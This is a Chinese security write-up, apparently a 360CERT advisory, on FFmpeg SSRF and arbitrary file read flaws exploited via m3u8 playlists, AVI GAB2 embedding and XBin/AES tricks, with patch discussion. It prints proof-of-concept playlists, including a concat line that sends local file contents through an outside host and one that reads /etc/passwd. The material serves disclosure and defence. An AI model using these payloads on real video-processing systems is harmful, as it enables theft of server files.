热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

【技术分享】FFmpeg安全问题讨论(含演示视频)

BlackHat 2016 saw the report on vulnerabilities in video services. The authors continued researching

https://img.php1.cn/3cd4a/1eebe/cd5/dc7ef30f57b727c7.jpeg

BlackHat 2016 saw the report on vulnerabilities in video services. The authors continued researching this area, and are going to tell about new vulnerabilities (logical and binary) and curious ways to exploit them. Look forward to hearing real stories about exploiting these vulnerabilities in bug bounty programs!

– via

在6月27日 hackerone 公开了一个关于FFmpeg本地文件泄漏的报告(https://hackerone.com/reports/243470) 该报告中描述为25日公开的另一个FFmpeg本地文件泄漏相关(https://hackerone.com/reports/242831)。该漏洞@Emil Lerner和@Pavel Cheremushkin在今年的phdays conference中已经披露(https://www.slideshare.net/phdays/ss-76515896)。

360CERT团队第一时间对该安全问题跟进并将简单预警一个未公开的FFmpeg命令执行漏洞。

 

FFmpeg背景知识和工作流程

FFmpeg是一个非常强大且运用广泛的多媒体框架,可以解码,编码,转码,播放几乎所有格式的多媒体文件。其基本工作流程如下:

原始的封装视频 –> demux分离器对封装的视频资源进行分离 –> 得到音频资源和视频资源 –> 进行解码 –> 得到解压后的音频资源和视频资源 –> 进入filter进行编辑处理 –> 得到处理后的音频资源和视频资源 –> 对资源编码得到转码后的音频资源和视频资源 –> 进入mux混合器进行封装 –> 得到转码封装后的视频

https://img.php1.cn/3cd4a/1e618/bdf/129913486c37ddf6.jpeg

虽然FFmpeg非常强大,但是正因为它强大的格式适配能力,加之各种流媒体协议的多样性,有可能对FFmpeg产生意想不到的安全威胁。

 

HLS介绍

一般流媒体协议分为两种,一种是通过HTTP渐进下载的(如HLS,flash渐进式),另一种则是RTSP形式的实时流媒体协议。

HLS是Apple提出并推广的,全称为HTTP Live Streaming。它会把整个视频流分成多个小的,基于 HTTP 的文件来下载,每次下载一部分,并把视频流元数据存放于m3u8文件中。

m3u8本身并不是视频文件,它只会指定应该播放的视频资源,而真正播放的视频资源是下载下来的ts文件,可以把m3u8理解为一个配置文件,配置文件中指定了ts为播放文件,一个简单的m3u8如下:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE
#EXT-X-TARGETDURATION
#EXT-X-ALLOW-CACHE
#EXT-X-ENDLIST
#EXTINF
redrain.ts        真正播放的视频资源

当然,这个视频资源也可以是一个远程资源

 

#EXTM3U
#EXT-X-MEDIA-SEQUENCE
#EXT-X-TARGETDURATION
#EXT-X-ALLOW-CACHE
#EXT-X-ENDLIST
#EXTINF
http://www.redrain.sb/test.mp4        远程资源

知识点复习

我们还记得去年的CVE-2016-1897和CVE-2016-1898,一个SSRF和一个任意文件读取漏洞,其中SSRF用到的就是m3u8可以访问获取远程资源的特性。

CVE-2016-1897

https://img8.php1.cn/3cdc5/18585/8fd/4599ccc64cc3fba2.jpeg

CVE-2016-1898

因为FFmpeg扩展性极强,其中支持一个Physical concatenation protocol concat: 可以把多个url流合并访问资源:

 

concat:URL1|URL2|…|URLN

结合SSRF,我们可以把file://读到的内容发送出来。

#EXTM3U
#EXT-X-TARGETDURATION:6
#EXTINF:10.0,
concat:http://rr.sb/poc/header.m3u8|file:///tmp/vuln
#EXT-X-ENDLIST

之后官方在2.8.5版本修复了该漏洞。

https://img8.php1.cn/3cdc5/18585/8fd/844b05930cc81621.png

 

老树开新花

在上个月的phdays conference里,通过视频格式的一个trick bypass了厂商对SSRF的封堵。

奇怪的视频格式标准

在AVI视频中,有一个数据块可以定义字幕,叫做GAB2,位置于AVI header中,有趣的是m3u8可以插入到avi文件中,且FFmpeg依旧会对有文件头#EXTM3U的AVi视频做HLS处理。

https://img8.php1.cn/3cdc5/18585/8fd/b4bd770ebf95238f.jpeg

https://img8.php1.cn/3cdc5/18585/8fd/cbf30e57a463fa2b.png

bypass继续利用CVE-2016-1898

所以我们可以通过对含有GAB2 header的AVI视频中嵌入m3u8,bypass厂商对CVE-2016-1898的修复

只需要将之前的PoC嵌入AVI中,依然可以读取到目标文件。

 

[AVI header GAB2 header]
#EXTM3U
#EXT-X-TARGETDURATION:6
#EXTINF:10.0,
concat:http://rr.sb/poc/header.m3u8|file:///tmp/vuln
#EXT-X-ENDLIST
[AVI body footer]
New Arbitrary File Read

@Emil Lerner和@Pavel Cheremushkin在会议中其实披露了多个FFmpeg的漏洞,其中一个最为有意思的,也就是在hackerone公开报告中用到的漏洞,把读取到的文件内容输出到视频中,从而可以让文件读取可以在无网络环境的情况下利用。

利用思路如下:

同样将m3u8嵌入到带有GAB2的AVI视频中,对文件格式检查进行bypass。

因为之前说过,m3u8并不是真正的视频资源,所以如果要播放,必须还要在m3u8中嵌入一个可播放的视频资源,其中有一个古老的媒体格式XBin,这个媒体格式具备基本显示图片,文本的功能,体积非常小,最重要的是,这个媒体格式可编程,如果嵌入到m3u8中,将目标文件作为对象,用xbin绘制成为字符,就可以作为合法可播放的视频文件观看了,所以依次嵌套后,文件内容大致为:

[AVI header]
[GAB2 header]
[m3u8 header]
[XBIN header]
目标文件
[XBIN footer]
[m3u8 footer]
[AVI footer]

但FFmpeg检查了body中的非法字符串,所以无法使用data:对XBIN格式声明

 

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:1
#EXTINF:1.0,
data:
#EXTINF:1.0,
file:///etc/passwd
#EXTINF:1.0,
data:
#EXT-X-ENDLIST

但是m3u8支持AES128的CBC模式加密,可以在#EXT-X-KEY中进行设置,所以可以很简单加密m3u8的内容:

 


#EXTINF:1,
#EXT-X-KEY:METHOD=AES-128, URI=/dev/zero, IV=
#EXT-X-BYTERANGE: 16
/dev/zero

= AES^-1 CONST(0x00…00) ⊕ = 

由于m3u8单次访问目标文件获取到的内容不完整,为了获得完整的文件内容,还需要控制#EXT-X-BYTERANGE设置偏移量,然后重复这一部分

最终,我们得到的文件应该是这样的:

 

[AVI header]
[GAB2 header]
[m3u8 header]
{loop}
#EXT-X-KEY:METHOD=AES-128, URI=/dev/zero, IV=     声明m3u8的AES加密,将XBIN部分加密
[XBIN header]     被加密
目标文件
[XBIN footer]    被加密
{loop}
[m3u8 footer]
[AVI footer]

https://img8.php1.cn/3cdc5/18585/8fd/c47c9ac07ebdf74e.png

执行后,读取的目标文件内容成功输出在ffplay的播放器中:

https://img8.php1.cn/3cdc5/18585/8fd/60808192880d2689.png

官方修复

笔者查看的针对这个漏洞的补丁

https://git.ffmpeg.org/gitweb/ffmpeg.git/patch/189ff4219644532bdfa7bab28dfedaee4d6d4021?hp=c0702ab8301844c1eb11dedb78a0bce79693dec7

主要是在限制后缀名这一行生效:

 

+    {“allowed_extensions”, “List of file extensions that hls is allowed to access”,
+        OFFSET(allowed_extensions), AV_OPT_TYPE_STRING,
+        {.str = “3gp,aac,avi,flac,mkv,m3u8,m4a,m4s,m4v,mpg,mov,mp2,mp3,mp4,mpeg,mpegts,ogg,ogv,oga,ts,vob,wav”},
+        INT_MIN, INT_MAX, FLAGS},

打上补丁后,允许的扩展只有上述部分了。

 

Arbitrary Code Execution

phdays的ppt中结尾有那么一张:

https://img8.php1.cn/3cdc5/18585/8fd/a7977a324064b815.png

 

FFmpeg is one of those projects we trust to have RCE everywhere

事实证明这句话是对的,笔者在去年分析该漏洞和imagemagick命令执行后,对格式处理和媒体处理软件的安全性产生了迷之兴趣,所以不由得多看了一下FFmpeg项目,也发现了一个在处理mov视频过程中同样是嵌入数据的命令执行,但在最新的snapshot中暂时没有复现。

通过老版本演示如下:

思考

FFmpeg作为目前来说最广泛的多媒体框架,它的强大之处毋庸置疑,但是正因为适配了尽可能多的媒体格式,其中一些沿用至今的古老格式或是一些特殊的标准协议,都可能给FFmpeg带来不一样的可能性,而缺乏沙箱的设计有可能还会有更多的利用可能性,关于媒体处理的服务组件或软件将会暴露出更多问题。

 

参考来源

https://hackerone.com/reports/242831

https://hackerone.com/reports/226756

https://hackerone.com/reports/243470

https://www.slideshare.net/phdays/ss-76515896

https://www.blackhat.com/docs/us-16/materials/us-16-Ermishkin-Viral-Video-Exploiting-Ssrf-In-Video-Converters.pdf

 


推荐阅读
  • SpringBoot整合SpringSecurity+JWT实现单点登录
    SpringBoot整合SpringSecurity+JWT实现单点登录,Go语言社区,Golang程序员人脉社 ... [详细]
  • 本文介绍了Windows Vista操作系统中的用户账户保护功能,该功能是为了增强系统的安全性而设计的。通过对Vista测试版的体验,可以看到系统在安全性方面的进步。该功能的引入,为用户的账户安全提供了更好的保障。 ... [详细]
  • ShiftLeft:将静态防护与运行时防护结合的持续性安全防护解决方案
    ShiftLeft公司是一家致力于将应用的静态防护和运行时防护与应用开发自动化工作流相结合以提升软件开发生命周期中的安全性的公司。传统的安全防护方式存在误报率高、人工成本高、耗时长等问题,而ShiftLeft提供的持续性安全防护解决方案能够解决这些问题。通过将下一代静态代码分析与应用开发自动化工作流中涉及的安全工具相结合,ShiftLeft帮助企业实现DevSecOps的安全部分,提供高效、准确的安全能力。 ... [详细]
  • 深入理解Java虚拟机的并发编程与性能优化
    本文主要介绍了Java内存模型与线程的相关概念,探讨了并发编程在服务端应用中的重要性。同时,介绍了Java语言和虚拟机提供的工具,帮助开发人员处理并发方面的问题,提高程序的并发能力和性能优化。文章指出,充分利用计算机处理器的能力和协调线程之间的并发操作是提高服务端程序性能的关键。 ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • Python正则表达式学习记录及常用方法
    本文记录了学习Python正则表达式的过程,介绍了re模块的常用方法re.search,并解释了rawstring的作用。正则表达式是一种方便检查字符串匹配模式的工具,通过本文的学习可以掌握Python中使用正则表达式的基本方法。 ... [详细]
  • 本文介绍了作者在开发过程中遇到的问题,即播放框架内容安全策略设置不起作用的错误。作者通过使用编译时依赖注入的方式解决了这个问题,并分享了解决方案。文章详细描述了问题的出现情况、错误输出内容以及解决方案的具体步骤。如果你也遇到了类似的问题,本文可能对你有一定的参考价值。 ... [详细]
  • Ihavethefollowingonhtml我在html上有以下内容<html><head><scriptsrc..3003_Tes ... [详细]
  • 深度学习中的Vision Transformer (ViT)详解
    本文详细介绍了深度学习中的Vision Transformer (ViT)方法。首先介绍了相关工作和ViT的基本原理,包括图像块嵌入、可学习的嵌入、位置嵌入和Transformer编码器等。接着讨论了ViT的张量维度变化、归纳偏置与混合架构、微调及更高分辨率等方面。最后给出了实验结果和相关代码的链接。本文的研究表明,对于CV任务,直接应用纯Transformer架构于图像块序列是可行的,无需依赖于卷积网络。 ... [详细]
  • 本文介绍了在CentOS 6.4系统中更新源地址的方法,包括备份现有源文件、下载163源、修改文件名、更新列表和系统,并提供了相应的命令。 ... [详细]
  • 本文介绍了如何在使用emacs时去掉ubuntu的alt键默认功能,并提供了相应的操作步骤和注意事项。 ... [详细]
  • 大数据Hadoop生态(20)MapReduce框架原理OutputFormat的开发笔记
    本文介绍了大数据Hadoop生态(20)MapReduce框架原理OutputFormat的开发笔记,包括outputFormat接口实现类、自定义outputFormat步骤和案例。案例中将包含nty的日志输出到nty.log文件,其他日志输出到other.log文件。同时提供了一些相关网址供参考。 ... [详细]
  • GSIOpenSSH PAM_USER 安全绕过漏洞
    漏洞名称:GSI-OpenSSHPAM_USER安全绕过漏洞CNNVD编号:CNNVD-201304-097发布时间:2013-04-09 ... [详细]
  • 目录浏览漏洞与目录遍历漏洞的危害及修复方法
    本文讨论了目录浏览漏洞与目录遍历漏洞的危害,包括网站结构暴露、隐秘文件访问等。同时介绍了检测方法,如使用漏洞扫描器和搜索关键词。最后提供了针对常见中间件的修复方式,包括关闭目录浏览功能。对于保护网站安全具有一定的参考价值。 ... [详细]
  • Apache Shiro 身份验证绕过漏洞 (CVE202011989) 详细解析及防范措施
    本文详细解析了Apache Shiro 身份验证绕过漏洞 (CVE202011989) 的原理和影响,并提供了相应的防范措施。Apache Shiro 是一个强大且易用的Java安全框架,常用于执行身份验证、授权、密码和会话管理。在Apache Shiro 1.5.3之前的版本中,与Spring控制器一起使用时,存在特制请求可能导致身份验证绕过的漏洞。本文还介绍了该漏洞的具体细节,并给出了防范该漏洞的建议措施。 ... [详细]
author-avatar
存在米小寒_151
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有